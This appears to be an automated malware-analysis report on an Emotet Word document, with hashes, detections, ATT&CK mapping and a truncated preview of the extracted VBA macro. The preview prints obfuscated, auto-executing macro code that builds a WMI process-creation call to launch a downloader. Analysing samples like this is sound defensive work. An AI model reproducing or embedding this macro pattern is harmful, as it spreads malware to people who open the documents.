Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7fe4f19988f34aea…

MALICIOUS

Office (OLE)

234.0 KB Created: 2020-08-26 11:07:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: d4b75e68eed9199009526bd256fcddbb SHA-1: e07d71252dc4d95581fb7b0a0ee9abaf108a5172 SHA-256: 7fe4f19988f34aea7c56d4e281cecd585d154c3252f84e2c0f1f9232eefade41
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, specifically a Document_Open macro that utilizes a hidden UserForm to execute a command stager. This is a common technique for Emotet to download and execute further malicious payloads. The ClamAV detection name also strongly suggests Emotet.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11979 bytes
SHA-256: e2b422d1a64675a6714ce3bff4349185c58c9d060632d07a3fdaca525c452f4b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Gp3a1oykkex"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Hkjrjnyd9vw.D5a50ifjxgvu_ucx
End Sub


Attribute VB_Name = "Hkjrjnyd9vw"
Attribute VB_Base = "0{80A77DA6-1E3D-4B0B-83C9-A8A25D56494E}{9E5B8587-4F3E-4209-A769-D0E48AC3B6C4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function D5a50ifjxgvu_ucx()
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Hkjrjnyd9vw.X2h33tfkhu7
AYOZk77j = FQLI24 + 115842212
Rk56ovd9233h = Osd + 45 + hwb + 55
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Hkjrjnyd9vw.X2h33tfkhu7
AYOZk77j = FQLI24 + 115842212
Bkii3tnh8r0x = ChrW(Rk56ovd9233h + (nbs + 10 + wbvd + 5))
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Hkjrjnyd9vw.X2h33tfkhu7
AYOZk77j = FQLI24 + 115842212
Dr222n1v32sa7 = "[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]aw[[[372vfr56 61fs[][324 24 2ds[]ai[[[372vfr56 61fs[][324 24 2ds[]anm[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]agm[[[372vfr56 61fs[][324 24 2ds[]at[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a" + Bkii3tnh8r0x + "[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a:[[[372vfr56 61fs[][324 24 2ds[]aw[[[372vfr56 61fs[][324 24 2ds[]ain[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a3[[[372vfr56 61fs[][324 24 2ds[]a2[[[372vfr56 61fs[][324 24 2ds[]a_[[[372vfr56 61fs[][324 24 2ds[]a" + Hkjrjnyd9vw.X2h33tfkhu7 + "[[[372vfr56 61fs[][324 24 2ds[]aro[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]ace[[[372vfr56 61fs[][324 24 2ds[]as[[[372vfr56 61fs[][324 24 2ds[]as[[[372vfr56 61fs[][324 24 2ds[]a"
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Hkjrjnyd9vw.X2h33tfkhu7
AYOZk77j = FQLI24 + 115842212
X95fh5y_u9nhu5 = Duwa_scley49eu5(Dr222n1v32sa7)
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Hkjrjnyd9vw.X2h33tfkhu7
AYOZk77j = FQLI24 + 115842212
Set Oi3lqodi05vwkdm = CreateObject(X95fh5y_u9nhu5)
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSn
... (truncated)

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